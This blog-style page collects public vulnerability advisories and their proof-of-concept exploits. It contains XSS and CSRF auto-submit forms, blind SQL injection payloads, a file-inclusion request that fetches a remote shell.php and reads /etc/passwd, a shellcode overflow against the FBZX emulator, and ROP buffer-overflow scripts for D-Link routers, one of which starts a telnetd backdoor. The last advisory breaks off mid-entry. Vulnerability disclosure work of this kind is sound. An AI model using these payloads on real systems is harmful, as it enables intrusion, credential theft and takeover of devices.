source: https://www.securityfocus.com/bid/61401/info
The FlagEm plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/wp-content/plugins/FlagEm/flagit.php?cID=[Xss]
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/61423/info
Magnolia CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Magnolia CMS versions 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 are vulnerable.
<form action="http://www.example.com/magnoliaPublic/demo-project/members-area/registration.html" method="post" name="main">
<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password" value='password'>
<input type="hidden" name="passwordConfirmation" value='password'>
<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
source: https://www.securityfocus.com/bid/61449/info
VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
VBulletin 4.0.x are vulnerable.
The exploit is caused due to a variable named 'update_order' not being
sanitized before being used within an insert into statement.
if ($_REQUEST['do'] == 'update_order')
{
$vbulletin->input->clean_array_gpc('r', array(
'force_read_order' => TYPE_ARRAY
));
if ($vbulletin->GPC['force_read_order'])
{
foreach ($vbulletin->GPC['force_read_order'] AS $threadid => $order)
{
$db->query_write("
UPDATE " . TABLE_PREFIX . "thread AS thread
SET force_read_order = '$order'
WHERE threadid = '$threadid'
");
}
}
POC
You will need Admincp Access then go to
site.com/admincp/force_read_thread.php then in the force read order colum
put a ' into one of them to show this
Database error in vBulletin 4.2.1:
Invalid SQL:
UPDATE thread AS thread
SET force_read_order = '1''
WHERE threadid = '5161';
MySQL Error : You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'5161'' at line 2
Error Number : 1064
Request Date : Thursday, July 25th 2013 @ 01:20:52 AM
Error Date : Thursday, July 25th 2013 @ 01:20:52 AM
Script :
http://www.example.com/admincp/force_read_thread.php?do=update_order
Referrer : http://www.example.com/admincp/force_read_thread.php
IP Address :
Username : n3tw0rk
Classname :
MySQL Version :
# Exploit Title: WP Fastest Cache 0.8.4.8 Blind SQL Injection
# Date: 11-11-2015
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
For this vulnerabilities also WP-Polls needs to be installed.
Everyone can access wpfc_wppolls_ajax_request().
$_POST["poll_id"] is not escaped properly.
File: wp-fastest-cache\inc\wp-polls.php
public function wpfc_wppolls_ajax_request() {
$id = strip_tags($_POST["poll_id"]);
$id = mysql_real_escape_string($id);
$result = check_voted($id);
if($result){
echo "true";
}else{
echo "false";
}
die();
}
http://security.szurek.pl/wp-fastest-cache-0848-blind-sql-injection.html
2. Proof of Concept
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
<input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
<input type="submit" value="Send">
</form>
3. Solution:
Update to version 0.8.4.9
source: https://www.securityfocus.com/bid/61456/info
Open Source SIEM (OSSIM) is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Open Source SIEM (OSSIM) 4.2.3 is vulnerable; other versions may also be affected.
https://
<IP>/ossim/vulnmeter/index.php?withoutmenu=%22%3E%3Cimg%20src%3da%20onerror%3dalert%28%27XSS%27%29%3E
https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/av_inventory/task_edit.php?section="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/nfsen/rrdgraph.php?cmd=get-detailsgraph&profile=<img%20src%3da%20onerror%3dalert('XSS')>
POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
hosts_alive=1&scan_locally=1¬_resolve=0&scan_server=<img%20src%3da%20onerror%3dalert('XSS')>&targets=blah
POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
hosts_alive=1&scan_locally=1¬_resolve=0&scan_server=Null&targets=blah<img%20src%3da%20onerror%3dalert('XSS')>
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: fbzx - ZX Spectrum Emulator for X
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: FBZX v2.10 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: *http://www.rastersoft.com/ <http://www.rastersoft.com/>*
# Kali Linux 2.0 package: http://repo.kali.org/kali/pool/contrib/f/fbzx/
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980
import os,subprocess
def run():
try:
print "# FBZX v2.10 Stack-Based Overflow by Juan Sacco"
print "# It's Fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# Basic structure: JUNK + SHELLCODE + NOPS + EIP
junk = "\x41"*8
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*5010
eip = "\x10\xd3\xff\xbf"
subprocess.call(["fbzx",' ', junk + shellcode + nops + eip])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "FBZX not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Sorry, something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit FBZX 2.10 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()
source: https://www.securityfocus.com/bid/61491/info
XMonad.Hooks.DynamicLog module for xmonad is prone to multiple remote command-injection vulnerabilities.
Successful exploits will result in the execution of arbitrary commands in the context of the affected applications. This may aid in further attacks.
<html>
<head>
<title><action=xclock>An innocent title</action></title>
</head>
<body>
<h1>Good bye, cruel world</h1>
</body>
</html>
<!--
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-CFIMAGEHOST-CSRF.txt
Vendor:
====================================
codefuture.co.uk/projects/imagehost
Product:
===================================
CF Image Host 1.65 - 1.6.6
Archive download listed as: version 1.65
unzips as imagehost 1.6.6
Vulnerability Type:
=================================
Cross site request forgery - CSRF
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
No CSRF protection exists allowing attackers to make requests to the server
on behalf of the victim if they are logged in and visit a malicious site or
click
an infected linx. This will let attackers modify certain web application
settings to
whatever the attacker wishes.
CSRF Exploit code(s):
====================
-->
<form id='HELL' method="POST" action="
http://localhost/imagehost1.6.6/admin.php?act=set">
<input type="text" name="setScriptUrl" value="
http://hyp3rlinx.altervista.org" />
<input type="text" name="setTitle" value="ghostofsin" />
<input type="text" name="setSlogan" value="666" />
<input type="text" name="setCopyright" value="hyp3rlinx" />
<input type="text" name="setTheme" value="day" />
<input type="text" name="setModeRewrite" value="0" />
<input type="text" name="setAddThis" value="0" />
<input type="text" name="setLanguage" value="0" />
<input type="text" name="changesettings" value="Save+Changes" />
<input type="text" name="setModeRewrite" value="0" />
<input type="text" name="setAllowReport" value="1" />
<input type="text" name="setEmailReport" value="1" />
<input type="text" name="setHideGallery" value="1" />
<input type="text" name="setHideContact" value="1" />
<input type="text" name="setHideTos" value="1" />
<input type="text" name="setHideFaq" value="1" />
<input type="text" name="setHideSearch" value="1" />
<input type="text" name="setImageWidgit" value="1" />
<input type="text" name="setHideFeed" value="1" />
<input type="text" name="setHideSitemap" value="1" />
<input type="text" name="setAutoDeleted" value="0" />
<input type="text" name="setAutoDeletedTime" value="10" />
<input type="text" name="setAutoDeletedJump" value="m" />
<input type="text" name="setDisUpload" value="0" />
<input type="text" name="setAutoDeleted" value="0" />
<input type="text" name="setMaxSize" value="1048576" />
<input type="text" name="setMaxBandwidth" value="1024" />
<input type="text" name="setBandwidthReset" value="m" />
<input type="text" name="setMaxUpload" value="5" />
<input type="text" name="setNoDuplicate" value="0" />
<input type="text" name="setResizeImg" value="1" />
<input type="text" name="setPrivateImg" value="1" />
<input type="text" name="setWaterMark" value="0" />
<input type="text" name="setWatermarkText" value="0" />
<input type="text" name="setWatermarkImage" value="1" />
<input type="text" name="setWatermarkPlaced" value="1" />
<input type="text" name="setSUrlApi" value="b54" />
<input type="text" name="setSUrlApiUrl" value="" />
<input type="text" name="setSUrlApiUesr" value="" />
<input type="text" name="setSUrlApiPass" value="" />
<input type="text" name="setAnalytics" value="" />
<input type="text" name="setGoogleCha" value="" />
<input type="text" name="setGoogleAds" value="" />
<input type="text" name="oldPassword" value="" />
<input type="text" name="newPassword" value="" />
<input type="text" name="newConfirm" value="" />
<input type="text" name="setUserName" value="admin" />
<input type="text" name="setEmail" value="ghostofsin@abyss.com" />
<script>document.getElementById('HELL').submit()</script>
</form>
<!--
Disclosure Timeline:
=====================
Vendor Notification: NA
November 14, 2015 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
================
High
Description:
============================================================
Request Method(s): [+] POST
Vulnerable Product: [+] CF Image Host 1.65 - 1.6.6
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx
-->
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: AlegroCart 1.2.8
Fixed in: Patch AC128_fix_22102015
Path Link: http://forum.alegrocart.com/download/file.php?id=1047
Vendor Website: http://alegrocart.com/
Vulnerability Type: LFI/RFI
Remote Exploitable: Yes
Reported to vendor: 09/29/2015
Disclosed to public: 11/13/2015
Release mode: Coordinated release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Vulnerability Description
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:C/I:C/A:C
Description
When retrieving logs, there are no checks on the given file_path Parameter.
Because of this, local or remote files can be included, which are then executed
or printed.
Admin credentials are required to view logs.
3. Proof of Concept
Remote File:
POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
Content-Length: 441
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="directory"
error_log
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="file_path"
http://localhost/shell.php
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="decrytion"
0
-----------------------------16809437203643590021165278222--
Local File:
POST /ecommerce/AlegroCart_1.2.8/upload/admin2/?controller=report_logs HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16809437203643590021165278222
Content-Length: 425
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="directory"
error_log
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="file_path"
/etc/passwd
-----------------------------16809437203643590021165278222
Content-Disposition: form-data; name="decrytion"
0
-----------------------------16809437203643590021165278222--
For the patches AC128_fix_13102015 and AC128_fix_17102015 the following attack
strings were still working:
http://localhost/shell.php?x=ls&foo=/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/
/var/www/ecommerce/AlegroCart_1.2.8/upload/logs/error_log/../../../../../../../etc/passwd
4. Code
/ upload/admin2/controller/report_logs.php
function get_file(){
$file = '';
if($this->request->gethtml('file_path', 'post')){
$file = file_get_contents($this->request->gethtml('file_path', 'post'));
}
if($this->request->gethtml('decrytion', 'post')){
$file = $this->ccvalidation->deCrypt($file, $this->config->get('config_token'));
}
if($file){
$file = str_replace(array("\r\n", "\r", "\n"),'<br>', $file);
}
return $file;
}
5. Solution
To mitigate this issue please apply this patch:
TODO
Please note that a newer version might already be available.
6.. Report Timeline
09/29/2015 Informed Vendor about Issue
11/03/2015 Vendor releases fix
11/13/2015 Disclosed to public
Blog Reference:
http://blog.curesec.com/article/blog/AlegroCart-128-LFIRFI-102.html
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: AlegroCart 1.2.8
Fixed in: Patch AC128_fix_17102015
Path Link: http://forum.alegrocart.com/download/file.php?id=1040
Vendor Website: http://alegrocart.com/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/29/2015
Disclosed to public: 11/13/2015
Release mode: Coordinated release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
There is a blind SQL injection in the admin area of AlegroCart. Additionally,
there is a blind SQL injection when a customer purchases a product. Because of
a required interaction with PayPal, this injection is hard to exploit for an
attacker.
3. BLind SQL Injection (Admin)
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
When viewing the list of uploaded files - or images - , the function
check_download is called. This function performs a database query with the
unsanitized name of the file. Because of this, an attacker can upload a file
containing SQL code in its name, which will be executed once files are listed.
Note that a similar function - check_filename - is called when deleting a file,
making it likely that this operation is vulnerable as well.
Admin credentials are required to exploit this issue.
Proof of Concept
POST /ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download&action=insert HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en; __atuvc=4%7C37
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16690383031191084421650661794
Content-Length: 865
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="language[1][name]"
test
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="download"; filename="image.jpg' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(100000000,ENCODE('MSG','by 5 seconds')),null) -- -"
Content-Type: image/jpeg
img
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="mask"
11953405959037.jpg
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="remaining"
1
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="dc8bd9802df2ba1fd321b32bf73c62c4"
f396df6c76265de943be163e9b65878a
-----------------------------16690383031191084421650661794--
Visiting
http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download
will trigger the injected code.
Code
/upload/admin2/model/products/model_admin_download.php
function check_download($filename){
$result = $this->database->getRow("select * from download where filename = '".$filename."'");
return $result;
}
function check_filename($filename){
$results = $this->database->getRows("select filename from download where filename = '" . $filename . "'");
return $results;
}
/upload/admin2/controller/download.php
function checkFiles() {
$files=glob(DIR_DOWNLOAD.'*.*');
if (!$files) { return; }
foreach ($files as $file) {
$pattern='/\.('.implode('|',$this->prohibited_types).')$/';
$filename=basename($file);
if (!preg_match($pattern,$file) && $this->validate->strlen($filename,1,128)) {
$result = $this->modelDownload->check_download($filename);
if (!$result) { $this->init($filename); }
}
}
}
4. BLind SQL Injection (Customer)
CVSS
Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
There is an SQL Injection when using Paypal as a payment method during
checkout.
Please note that this injection requires that a successful interaction with
Paypal took place. For test purposes, we commented out the parts of the code
that actually perform this interaction with Paypal.
Proof of Concept
1. Register a User
2. Buy an item, using PayPal as payment method; stop at step "Checkout Confirmation"
3. Visit this link to trigger the injection: http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=INJECTION. Note that this requires a valid paypal tx token.
The injection can be exploited blind:
http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=-1' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23)
However, this is rather unpractical, especially considering the need for a
valid PayPal token for each request.
It is also possible with this injection to inject into an UPDATE statement in
update_order_status_paidunconfirmed. The problem here is that it is difficult
to create an injection that exploits the UPDATE statement, but also results in
an order_id being returned by the previous SELECT statement.
It may also be possible to use the order_id that can be controlled via the
SELECT statement to inject into the INSERT statement in update_order_history.
But again, it is difficult to craft a query that does this, but also returns a
valid result for the UPDATE query.
Code
/upload/catalog/extension/payment/paypal.php:
function orderUpdate($status = 'final_order_status', $override = 0) {
//Find the paid_unconfirmed status id
$results = $this->getOrderStatusId('order_status_paid_unconfirmed');
$paidUnconfirmedStatusId = $results?$results:0;
//Find the final order status id
$results = $this->getOrderStatusId($status);
$finalStatusId = $results?$results:0;
$reference = $this->request->get('ref');
//Get Order Id
$res = $this->modelPayment->get_order_id($reference);
$order_id = $res['order_id'];
//Update order only if state in paid unconfirmed OR override is set
if ($order_id) {
if ($override) {
// Update order status
$result = $this->modelPayment->update_order_status_override($finalStatusId,$reference);
// Update order_history
if ($result) {
$this->modelPayment->update_order_history($order_id, $finalStatusId, 'override');
}
} else {
// Update order status only if status is currently paid_unconfirmed
$result = $this->modelPayment->update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId);
// Update order_history
if ($result) {
$this->modelPayment->update_order_history($order_id, $finalStatusId, 'PDT/IPN');
}
}
}
}
/upload/catalog/model/payment/model_payment.php:
function get_order_id($reference){
$result = $this->database->getrow("select `order_id` from `order` where `reference` = '" . $reference . "'");
return $result;
}
function update_order_history($order_id, $finalStatusId,$comment){
$this->database->query("insert into `order_history` set `order_id` = '" . $order_id . "', `order_status_id` = '" . $finalStatusId . "', `date_added` = now(), `notify` = '0', `comment` = '" . $comment . "'");
}
function update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId){
$result = $this->database->countAffected($this->database->query("update `order` set `order_status_id` = '" . $finalStatusId . "' where `reference` = '" . $reference . "' and order_status_id = '" . $paidUnconfirmedStatusId . "'"));
return $result;
}
5. Solution
To mitigate this issue please apply this patch:
http://forum.alegrocart.com/download/file.php?id=1040
Please note that a newer version might already be available.
6. Report Timeline
09/29/2015 Informed Vendor about Issue
17/10/2015 Vendor releases fix
11/13/2015 Disclosed to public
Blog Reference:
http://blog.curesec.com/article/blog/AlegroCart-128-SQL-Injection-104.html
## Advisory Information
Title: DGL5500 Un-Authenticated Buffer overflow in HNAP functionality
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DGL5500 -- Gaming Router AC1300 with StreamBoost. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 1 security issue in DGL5500 firmware which allows an attacker on wireless LAN to exploit buffer overflow vulnerabilitiy in hnap functionality. Does not require any authentication and can be exploited on WAN if the management interface is exposed.
## Details
# HNAP buffer oberflow
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
import string
import sys
BUFFER_SIZE = 2048
# Although you can access this URL unauthenticated on WAN connection which is great but need a good shellcode. buffer overflow in check_hnap_auth
buf = "POST /hnap.cgi HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 13\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings\r\nHNAP_AUTH: test\r\nCookie: unsupportedbrowser=1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
buf+="FFFF"
buf+="AAAA" #s0
buf+="\x2A\xBF\xB9\xF4" #s1 ROP 2
buf+="\x2A\xC1\x3C\x30" #s2 sleep address
buf+="DDDD" #s3
buf+="\x2A\xC0\xEB\x50" #s4 ROP 4 2AC0EB50
buf+="\x2a\xc0\xf3\xe8" # Retn address 2AC0F3E8 ROP1
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGG" # 36 bytes of gap
buf+="\x2A\xBC\xDB\xD0" # ROP 3
buf+="GGGGGGGGGGGGGGGG"
buf+="AAAAAAAAAAAAAAAAAAAAA" # Needs a proper shell code Bad chars 1,0 in the first bit of hex byte so 1x or 0x
buf+="GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ\r\n\r\n"+"test=test\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley
## Advisory Information
Title: DIR-880L Buffer overflows in authenticatio and HNAP functionalities.
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-880L -- Wireless AC1900 Dual-Band Gigabit Cloud Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and HNAP functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. But it works as the buffer overflow happens in a seperate process than web server which does not allow web server to crash and hence attacker wins.
## Details
Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
#Currently the address of exit function in libraray used as $PC
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220
buf+= "\r\n" + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
Buffer overflow in auth
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
buf = "GET /webfa_authentication.cgi?id="
buf+="A"*408
buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack
buf+="sh;#"+"CCCC"+"DDDD" #R0-R2
buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG" #R3 with system address and R4 and R5 with junk values
buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address
buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd
buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley
## Advisory Information
Title: DIR-601 Command injection in ping functionality
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR601 -- Wireless N150 Home Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 1 security issue in DIR601 firmware which allows an attacker to exploit command injection in ping functionality. The user needs to be logged in. After that any attacker on wireless LAN or if mgmt interface is exposed on Internet then an internet attacker can execute the attack. Also XSRF can be used to trick administrator to exploit it.
## Details
Command injection in dir-601
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
